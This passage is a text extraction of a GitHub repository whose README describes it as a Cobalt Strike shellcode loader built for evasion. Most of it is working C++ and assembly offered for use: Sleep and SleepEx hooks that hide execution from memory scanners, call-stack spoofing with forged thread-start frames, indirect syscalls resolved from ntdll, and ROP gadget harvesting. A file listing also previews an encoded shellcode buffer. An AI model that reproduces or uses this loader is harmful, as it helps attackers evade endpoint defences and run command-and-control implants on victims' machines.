SIZE_T regionSize = sizeof(trampolineHook);
PVOID baseAddress = FunctionToHook;
ModifyMemoryProtection(baseAddress, PAGE_READWRITE, &oldProtect);
gadget = GoGoGadget(callR12gadgets);
CallR12(
(PVOID)memcpy,
3,
gadget,
FunctionToHook,
trampolineHook,
sizeof(trampolineHook)
);
ModifyMemoryProtection(baseAddress, oldProtect, &oldProtect);
return;
}
// Restore original bytes to (unhook) function
VOID RestoreOriginalBytes(PVOID FunctionToHook, uint8_t* originalBytes, SIZE_T size) {
DWORD oldProtect;
ModifyMemoryProtection(FunctionToHook, PAGE_READWRITE, &oldProtect);
gadget = GoGoGadget(callR12gadgets);
CallR12(
(PVOID)memcpy,
3,
gadget,
FunctionToHook,
originalBytes,
size
);
ModifyMemoryProtection(FunctionToHook, oldProtect, &oldProtect);
return;
}
// Sleeping without calling Sleep()
VOID ImNotSleepingIPromise(DWORD dwMilliseconds) {
// Set up call stack spoof
PVOID ReturnAddress = NULL;
PRM p = { 0 };
BYTE sig[] = { 0xFF, 0x23 }; // jmp qword ptr [rbx]
std::vector<PVOID> gadgets = CollectGadgets(sig, 3, (PBYTE)hNtdll);
gadget = GoGoGadget(gadgets);
p.trampoline = gadget;
p.Gadget_ss = (PVOID)(ULONGLONG)CalculateStackSize(p.trampoline);
// windows 11 seems to have different offset values
//ReturnAddress = (PBYTE)GetProcAddress((HMODULE)hKernel32, "BaseThreadInitThunk") + 0x14;
ReturnAddress = (PBYTE)GetProcAddress((HMODULE)hKernel32, "BaseThreadInitThunk") + 0x17;
p.BTIT_ss = (PVOID)(ULONGLONG)CalculateStackSize(ReturnAddress);
p.BTIT_retaddr = ReturnAddress;
//ReturnAddress = (PBYTE)GetProcAddress((HMODULE)hNtdll, "RtlUserThreadStart") + 0x21;
ReturnAddress = (PBYTE)GetProcAddress((HMODULE)hNtdll, "RtlUserThreadStart") + 0x2c;
p.RUTS_ss = (PVOID)(ULONGLONG)CalculateStackSize(ReturnAddress);
p.RUTS_retaddr = ReturnAddress;
LARGE_INTEGER DelayInterval = { 0 };
LONGLONG Delay = NULL;
HANDLE hEvent = NULL;
dwSSN = NtCreateEvent.SSN;
qwJMP = NtCreateEvent.Syscall;
gadget = GoGoGadget(callR12gadgets);
status = (NTSTATUS)CallR12(
(PVOID)CallMe,
5,
gadget,
&hEvent,
EVENT_ALL_ACCESS,
NULL,
0,
FALSE
);
Delay = dwMilliseconds * 10000;
DelayInterval.QuadPart = -Delay;
p.ssn = (PVOID)(ULONGLONG)sysNtWaitForSingleObject.SSN;
Spoof((PVOID)hEvent, (PVOID)(ULONGLONG)FALSE, (PVOID)&DelayInterval, NULL, &p, sysNtWaitForSingleObject.Syscall, (PVOID)(ULONGLONG)0);
return;
}
// Hooked Sleep function
VOID WINAPI hookedSleep(DWORD dwMilliseconds, ...) {
// Restore original function bytes before execution
RestoreOriginalBytes((PVOID)Sleep, originalSleepBytes, sizeof(originalSleepBytes));
// Switch to main fiber to hide execution from stack scanners
gadget = GoGoGadget(callR12gadgets);
CallR12((PVOID)SwitchToFiber, 1, gadget, mainFiber);
// Call custom sleep function
ImNotSleepingIPromise(dwMilliseconds);
// Reapply the hook after execution
HookFunction((PVOID)Sleep, (PVOID)hookedSleep, originalSleepBytes);
}
// Hooked SleepEx function
DWORD WINAPI hookedSleepEx(DWORD dwMilliseconds, BOOL bAlertable, ...) {
// Restore original function bytes before execution
RestoreOriginalBytes((PVOID)SleepEx, originalSleepExBytes, sizeof(originalSleepExBytes));
// Switch to main fiber to hide execution from stack scanners
gadget = GoGoGadget(callR12gadgets);
CallR12((PVOID)SwitchToFiber, 1, gadget, mainFiber);
ImNotSleepingIPromise(dwMilliseconds);
// Reapply the hook after execution
HookFunction((PVOID)SleepEx, (PVOID)hookedSleepEx, originalSleepExBytes);
return 0;
}
// Hook Sleep and SleepEx
VOID ReSleep() {
HookFunction((PVOID)Sleep, (PVOID)hookedSleep, originalSleepBytes);
HookFunction((PVOID)SleepEx, (PVOID)hookedSleepEx, originalSleepExBytes);
}
================================================
FILE: spoof.asm
================================================
.code
; A function can be called like so
;
; Spoof(arg1, arg2, arg3, arg4, ¶m, function, (PVOID)0);
;
; Param is a struct containing some necessary information for the call to have fake frames added.
; The 6th argument is a pointer to the function to execute
; The 7th argument specifies the number of args to pass to the stack. It has to be at an 8 byte size.
Spoof PROC
pop rax ; Real return address in rax
mov r10, rdi ; Store OG rdi in r10
mov r11, rsi ; Store OG rsi in r11
mov rdi, qword ptr [rsp + 32] ; Storing struct in rdi
mov rsi, qword ptr [rsp + 40] ; Storing function to call
; ---------------------------------------------------------------------
; Storing our original registers
; ---------------------------------------------------------------------
mov qword ptr [rdi + 24], r10 ; Storing OG rdi into param
mov qword ptr [rdi + 88], r11 ; Storing OG rsi into param
mov qword ptr [rdi + 96], r12 ; Storing OG r12 into param
mov qword ptr [rdi + 104], r13 ; Storing OG r13 into param
mov qword ptr [rdi + 112], r14 ; Storing OG r14 into param
mov qword ptr [rdi + 120], r15 ; Storing OG r15 into param
mov r12, rax ; OG code used r12 for ret addr
; ---------------------------------------------------------------------
; Prepping to move stack args
; ---------------------------------------------------------------------
xor r11, r11 ; r11 = # of args pushed
mov r13, qword ptr [rsp + 30h] ; r13 = total args to push
mov r14, 200h ; Initial offset
add r14, 8
add r14, qword ptr [rdi + 56] ; Add RUTS stack size
add r14, qword ptr [rdi + 48] ; Add BTIT stack size
add r14, qword ptr [rdi + 32] ; Add gadget frame size
sub r14, 20h ; Adjust for first stack arg
mov r10, rsp
add r10, 30h ; Stack args base address
looping_label:
xor r15, r15
cmp r11, r13
je finish_label
; ---------------------------------------------------------------------
; Calculate target stack position
; ---------------------------------------------------------------------
sub r14, 8
mov r15, rsp
sub r15, r14
; ---------------------------------------------------------------------
; Move stack argument
; ---------------------------------------------------------------------
add r10, 8
push qword ptr [r10]
pop qword ptr [r15]
; ---------------------------------------------------------------------
; Increment counter and loop
; ---------------------------------------------------------------------
add r11, 1
jmp looping_label
finish_label:
; ----------------------------------------------------------------------
; Create working space and setup fake frames
; ----------------------------------------------------------------------
sub rsp, 200h
push 0
; RtlUserThreadStart frame
sub rsp, qword ptr [rdi + 56]
mov r11, qword ptr [rdi + 64]
mov qword ptr [rsp], r11
; BaseThreadInitThunk frame
sub rsp, qword ptr [rdi + 32]
mov r11, qword ptr [rdi + 40]
mov qword ptr [rsp], r11
; Gadget frame -- `jmp QWORD PTR [rbx]`
sub rsp, qword ptr [rdi + 48]
mov r11, qword ptr [rdi + 80]
mov qword ptr [rsp], r11
; ----------------------------------------------------------------------
; Prepare for function call and fixup
; ----------------------------------------------------------------------
mov r11, rsi ; Function to call
mov qword ptr [rdi + 8], r12 ; Store real return address
mov qword ptr [rdi + 16], rbx ; Store original RBX
lea rbx, fixup_label ; Get fixup address
mov qword ptr [rdi], rbx ; Store fixup in struct
mov rbx, rdi ; Param struct pointer
; Prepare syscall (if needed)
mov r10, rcx
mov rax, qword ptr [rdi + 72]
jmp r11 ; Jump to target function
fixup_label:
mov rcx, rbx ; Restore param struct
; Cleanup stack frames
add rsp, 200h
add rsp, qword ptr [rbx + 48]
add rsp, qword ptr [rbx + 32]
add rsp, qword ptr [rbx + 56]
; Restore original registers
mov rbx, qword ptr [rcx + 16]
mov rdi, qword ptr [rcx + 24]
mov rsi, qword ptr [rcx + 88]
mov r12, qword ptr [rcx + 96]
mov r13, qword ptr [rcx + 104]
mov r14, qword ptr [rcx + 112]
mov r15, qword ptr [rcx + 120]
jmp qword ptr [rcx + 8] ; Jump to original return address
Spoof ENDP
END
================================================
FILE: syscalls.cpp
================================================
#include <includes.h>
// Super reliable way to find the base address of a given module
PBYTE FindModuleBase(const CHAR* moduleName) {
// Retrieve the loader data from the Process Environment Block (PEB)
PPEB_LDR_DATA loaderData = NtCurrentTeb()->ProcessEnvironmentBlock->Ldr;
PLIST_ENTRY moduleListHead = (PLIST_ENTRY)&loaderData->Reserved2[1]; //Reserved2[1] == InLoadOrderModuleList
PLIST_ENTRY currentEntry = moduleListHead->Blink;
// Iterate through the loaded modules backwards
while (currentEntry != moduleListHead) {
// Get the module entry
PLDR_DATA_TABLE_ENTRY_MODIFIED moduleEntry = CONTAINING_RECORD(currentEntry, LDR_DATA_TABLE_ENTRY_MODIFIED, InLoadOrderLinks);
currentEntry = currentEntry->Blink;
// Get the base address of the module
PBYTE moduleBase = (PBYTE)moduleEntry->OriginalBase;
// Access the NT headers of the module
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)moduleBase;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(moduleBase + dosHeader->e_lfanew);
// Check if the module has an export directory
DWORD exportDirectoryRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (!exportDirectoryRVA) continue; // No export table? skip
// Access the export directory
PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(moduleBase + exportDirectoryRVA);
if (!exportDirectory->NumberOfNames) continue; // No symbols? skip
// Extract the DLL name from the module entry
char dllName[MAX_PATH]; // Buffer to store the DLL name
snprintf(dllName, sizeof(dllName), "%wZ", moduleEntry->BaseDllName); // Extract BaseDllName
// Compare the decoded name with the current module name
if (strcmp(dllName, moduleName) == 0) return moduleBase; // Found the module, return its base address
}
// module not found
return nullptr;
}
// Resolve System Service Number (SSN), Address, and Offset for a System Call Name
SyscallEntry SSNLookup(PCHAR syscall) {
SyscallEntry entry = { 0 };
// Load the Export Address Table
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(hNtdll + ((PIMAGE_DOS_HEADER)hNtdll)->e_lfanew);
DWORD exportDirRVA = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (!exportDirRVA) return { 0 }; // No export table
PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)(hNtdll + exportDirRVA);
PDWORD pFunctions = (PDWORD)(hNtdll + pExportDir->AddressOfFunctions);
PDWORD pNames = (PDWORD)(hNtdll + pExportDir->AddressOfNames);
PWORD pNameOrdinals = (PWORD)(hNtdll + pExportDir->AddressOfNameOrdinals);
// Load the Exception Directory
DWORD exceptTableRVA = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress;
if (!exceptTableRVA) return { 0 }; // No exception directory
PIMAGE_RUNTIME_FUNCTION_ENTRY pRuntimeFuncTable = (PIMAGE_RUNTIME_FUNCTION_ENTRY)(hNtdll + exceptTableRVA);
INT64 ssn = 0;
PBYTE address = 0;
// Search export address table
for (DWORD i = 0; i < pExportDir->NumberOfNames; i++) {
PCHAR pFunctionName = (PCHAR)(hNtdll + pNames[i]);
// Search runtime function table
for (INT64 i = 0; pRuntimeFuncTable[i].BeginAddress; i++) {
for (INT64 j = 0; j < pExportDir->NumberOfFunctions; j++) {
if (pFunctions[pNameOrdinals[j]] == pRuntimeFuncTable[i].BeginAddress) {
PCHAR api = (PCHAR)(hNtdll + pNames[j]);
PCHAR s1 = api;
PCHAR s2 = syscall;
// Compare the syscall names
while (*s1 && (*s1 == *s2)) s1++, s2++;
INT64 cmp = (INT64)*(PBYTE)s1 - *(PBYTE)s2;
if (!cmp) {
address = (hNtdll + pRuntimeFuncTable[i].BeginAddress);
// Locate `syscall; ret` sequence
for (INT64 offset = 0; offset < 0x100; offset++) {// Scan up to 256 bytes
if (address[offset] == 0x0F && address[offset + 1] == 0x05 && address[offset + 2] == 0xC3) {
// Populate the SyscallEntry struct
entry.SSN = ssn;
entry.Address = address;
entry.Syscall = (PVOID)(address + offset);
return entry;
}
}
}
// If this is a syscall, increase the SSN value
if (*(USHORT*)api == 'wZ') ssn++;
}
}
}
}
return { 0 }; // Didn't find it
}
// Collect all instances of a given ROP gadget in a given module
std::vector<PVOID> CollectGadgets(const PBYTE gadget, SIZE_T gadgetSize, PBYTE hModule) {
std::vector<PVOID> gadgets;
if (!hModule || !gadget || gadgetSize == 0) return gadgets; // Validate input
PIMAGE_DOS_HEADER pDosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(hModule);
if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) return gadgets; // Validate DOS header
PIMAGE_NT_HEADERS pNtHeaders = reinterpret_cast<PIMAGE_NT_HEADERS>(reinterpret_cast<BYTE*>(hModule) + pDosHeader->e_lfanew);
if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) return gadgets; // Validate NT headers
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders);
UINT_PTR moduleBase = reinterpret_cast<UINT_PTR>(hModule);
// Loop through each section in the module
for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++, pSectionHeader++) {
// Check if the section is executable code
if ((pSectionHeader->Characteristics & IMAGE_SCN_CNT_CODE) &&
(pSectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE)) {
PBYTE sectionBase = reinterpret_cast<PBYTE>(moduleBase + pSectionHeader->VirtualAddress);
PBYTE sectionEnd = sectionBase + pSectionHeader->Misc.VirtualSize;
// Search within the section for the gadget pattern
for (PBYTE currentBytes = sectionBase; currentBytes <= sectionEnd - gadgetSize; ++currentBytes) {
if (!memcmp(currentBytes, gadget, gadgetSize)) {
gadgets.emplace_back(EncodePointer(reinterpret_cast<PVOID>(currentBytes))); // Construct each encoded address inside the vector
}
}
}
}
//printf("Found %u gadgets\n", gadgets.size());
return gadgets;
}
// Choose a random gadget
PVOID GoGoGadget(std::vector<PVOID> gadgets) {
if (gadgets.empty()) return nullptr; // Return nullptr if the vector is empty
// Randomly select and decode a gadget address
static std::mt19937 rng(static_cast<unsigned int>(std::time(nullptr)));
std::uniform_int_distribution<size_t> dist(0, gadgets.size() - 1);
return DecodePointer((gadgets)[dist(rng)]);
}
// Checks the bytes immediately before each gadget
VOID CheckGadgetPreBytes(const std::vector<PVOID>& gadgets, SIZE_T gadgetSize, SIZE_T lookbackSize) {
for (const auto& encodedGadget : gadgets) {
PBYTE gadgetAddress = reinterpret_cast<PBYTE>(DecodePointer(encodedGadget)); // Decode the pointer
// Ensure we can read preceding bytes safely
PBYTE precedingBytes = gadgetAddress - lookbackSize;
if (precedingBytes >= gadgetAddress) {
printf("Skipping address %p (out of range)\n", gadgetAddress);
continue; // Prevent underflow if the address is too low in memory
}
// Print address and bytes
printf("Address: %p -> ", gadgetAddress);
for (SIZE_T i = 0; i < lookbackSize + gadgetSize + 8; i++) { // Include gadget bytes and 4 bytes ahead of gadget too
printf("%02X ", precedingBytes[i]);
}
printf("\n");
}
}
gitextract_pew1swbq/ ├── README.md ├── callme.asm ├── callr12.asm ├── callstackspoof.cpp ├── headers/ │ ├── callstackspoof.h │ ├── definitions.h │ ├── enums.h │ ├── includes.h │ ├── sleep.h │ ├── structs.h │ └── syscalls.h ├── main.cpp ├── scripts/ │ ├── encoder.py │ └── shellcode.txt ├── sleep.cpp ├── spoof.asm └── syscalls.cpp
SYMBOL INDEX (47 symbols across 7 files)
FILE: callstackspoof.cpp
function VOID (line 4) | VOID GetExceptionAddress(PEXCEPTION_INFO pExceptionInfo) {
function ULONG (line 13) | ULONG CalculateStackSizeBackend(PRUNTIME_FUNCTION pRuntimeFunctionTable,...
function ULONG (line 121) | ULONG CalculateStackSize(PVOID ReturnAddress) {
FILE: headers/enums.h
type UNWIND_CODE_OPS (line 6) | typedef enum _UNWIND_OP_CODES {
type FILE_INFO_CLASS (line 18) | typedef enum _FILE_INFO_CLASS
type NT_PRODUCT_TYPE (line 107) | typedef enum _NT_PRODUCT_TYPE {
type ALTERNATIVE_ARCHITECTURE_TYPE (line 114) | typedef enum _ALTERNATIVE_ARCHITECTURE_TYPE {
FILE: headers/structs.h
type SyscallEntry (line 6) | struct SyscallEntry {
type _RTL_BALANCED_NODE (line 13) | struct _RTL_BALANCED_NODE {
type LDR_DATA_TABLE_ENTRY_MODIFIED (line 35) | typedef struct _LDR_DATA_TABLE_ENTRY_MODIFIED {
type PRM (line 109) | typedef struct {
type UNWIND_CODE (line 129) | typedef union _UNWIND_CODE {
type UNWIND_INFO (line 139) | typedef struct _UNWIND_INFO {
type EXCEPTION_INFO (line 150) | typedef struct _EXCEPTION_INFO {
type StackFrame (line 157) | typedef struct {
type FILE_STANDARD_INFORMATION (line 170) | typedef struct _FILE_STANDARD_INFORMATION {
type FILE_RENAME_INFORMATION_EX (line 179) | typedef struct _FILE_RENAME_INFORMATION_EX {
type FILE_DISPOSITION_INFORMATION (line 187) | typedef struct _FILE_DISPOSITION_INFORMATION {
type KSYSTEM_TIME (line 192) | typedef struct _KSYSTEM_TIME {
type KUSER_SHARED_DATA (line 199) | typedef struct _KUSER_SHARED_DATA {
FILE: main.cpp
function unASCIIme (line 47) | std::unique_ptr<char[]> unASCIIme(const int* asciiValues, size_t length) {
function VOID (line 57) | VOID RunMe() {
function INT (line 240) | INT WINAPI CALLBACK WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE...
FILE: scripts/encoder.py
function generate_random_name (line 6) | def generate_random_name():
function parse_shellcode (line 9) | def parse_shellcode(file_path):
function format_shellcode (line 19) | def format_shellcode(shellcode):
function main (line 35) | def main():
FILE: sleep.cpp
class compileme (line 8) | class compileme {
method fnv1a_hash (line 10) | static constexpr unsigned int fnv1a_hash(const char* str, unsigned int...
method mix_entropy (line 11) | static constexpr unsigned int mix_entropy(unsigned int base) { return ...
method compileTimeRNG (line 12) | static constexpr unsigned int compileTimeRNG() { return mix_entropy(fn...
method compileme (line 16) | constexpr compileme() : randomValue(compileTimeRNG()) {}
method GetMagicNumber (line 17) | constexpr unsigned int GetMagicNumber() const { return randomValue; }
function GenerateSleepTime (line 21) | constexpr unsigned int GenerateSleepTime() {
function BOOL (line 27) | BOOL FiveHourEnergy() {
function VOID (line 54) | VOID ModifyMemoryProtection(LPVOID address, DWORD newProtect, DWORD* old...
function VOID (line 80) | VOID HookFunction(PVOID FunctionToHook, PVOID RedirectionFunction, uint8...
function VOID (line 130) | VOID RestoreOriginalBytes(PVOID FunctionToHook, uint8_t* originalBytes, ...
function VOID (line 151) | VOID ImNotSleepingIPromise(DWORD dwMilliseconds) {
function VOID (line 203) | VOID WINAPI hookedSleep(DWORD dwMilliseconds, ...) {
function DWORD (line 220) | DWORD WINAPI hookedSleepEx(DWORD dwMilliseconds, BOOL bAlertable, ...) {
function VOID (line 238) | VOID ReSleep() {
FILE: syscalls.cpp
function PBYTE (line 4) | PBYTE FindModuleBase(const CHAR* moduleName) {
function SyscallEntry (line 44) | SyscallEntry SSNLookup(PCHAR syscall) {
function CollectGadgets (line 107) | std::vector<PVOID> CollectGadgets(const PBYTE gadget, SIZE_T gadgetSize,...
function PVOID (line 142) | PVOID GoGoGadget(std::vector<PVOID> gadgets) {
function VOID (line 152) | VOID CheckGadgetPreBytes(const std::vector<PVOID>& gadgets, SIZE_T gadge...
Condensed preview — 17 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (83K chars).
[
{
"path": "README.md",
"chars": 1642,
"preview": "# koneko\nA Cobalt Strike shellcode loader with multiple advanced evasion features.\n\n:\r\n return ''.join(random.choic"
},
{
"path": "scripts/shellcode.txt",
"chars": 4850,
"preview": "buf = b\"\"\r\nbuf += b\"\\x48\\x31\\xc9\\x48\\x81\\xe9\\x8c\\xff\\xff\\xff\\x48\\x8d\"\r\nbuf += b\"\\x05\\xef\\xff\\xff\\xff\\x48\\xbb\\xae\\xe2\\x1"
},
{
"path": "sleep.cpp",
"chars": 7982,
"preview": "#include <includes.h>\r\n\r\n// Used to store original bytes from Sleep/SleepEx\r\nuint8_t originalSleepBytes[12] = { 0 };\r\nui"
},
{
"path": "spoof.asm",
"chars": 5154,
"preview": ".code\r\n\r\n; A function can be called like so\r\n; \r\n; Spoof(arg1, arg2, arg3, arg4, ¶m, function, (PVOID)0);\r\n; "
},
{
"path": "syscalls.cpp",
"chars": 8233,
"preview": "#include <includes.h>\r\n\r\n// Super reliable way to find the base address of a given module\r\nPBYTE FindModuleBase(const CH"
}
]
About this extraction
This page contains the full source code of the Meowmycks/koneko GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 17 files (75.5 KB), approximately 21.5k tokens, and a symbol index with 47 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.